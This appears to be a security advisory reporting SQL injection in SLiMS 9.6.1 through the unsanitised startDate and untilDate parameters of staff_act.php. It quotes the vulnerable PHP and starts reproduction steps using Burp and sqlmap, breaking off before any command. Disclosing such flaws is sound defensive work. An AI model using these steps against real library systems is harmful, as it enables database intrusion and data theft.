SLiMS (aka SENAYAN Library Management System) through 9.6.1 allows admin/modules/reporting/customs/staff_act.php SQL Injection via startDate or untilDate.
## The Bug
A SQL Injection exists in `admin/modules/reporting/customs/staff_act.php` at the code below

```php
	// create datagrid
	$reportgrid = new report_datagrid();
	$reportgrid->setSQLColumn('u.realname AS \''.__('Real Name').'\'',
    	'u.username AS \''.__('Login Username').'\'',
    	'u.user_id AS \''.__('Bibliography Data Entry').'\'',
    	'u.user_id AS \''.__('Item Data Entry').'\'',
    	'u.user_id AS \''.__('Member Data Entry').'\'',
    	'u.user_id AS \''.__('Loans').'\'',
    	'u.user_id AS \''.__('Returns').'\'',
    	'u.user_id AS \''.__('Extends').'\'');
	$reportgrid->setSQLorder('realname ASC');

	// is there any search
	$criteria = 'user_id IS NOT NULL ';
	$reportgrid->setSQLCriteria($criteria);

	$start_date = '2000-01-01';
	if (isset($_GET['startDate'])) {
    	$start_date = $_GET['startDate']; // unsanitized input 1
	}
	$until_date = date('Y-m-d');
	if (isset($_GET['untilDate'])) {
    	$until_date = $_GET['untilDate']; // unsanitized input 2
	}
```

**To Reproduce**
Steps to reproduce the behavior:
1. Login as admin or user that has access to Staff Activity Reporting
2. Make sure the burp is on to capture the request as below

3. Save the request into a file (example.req)
4. Run the test with sqlmap with the command
	```
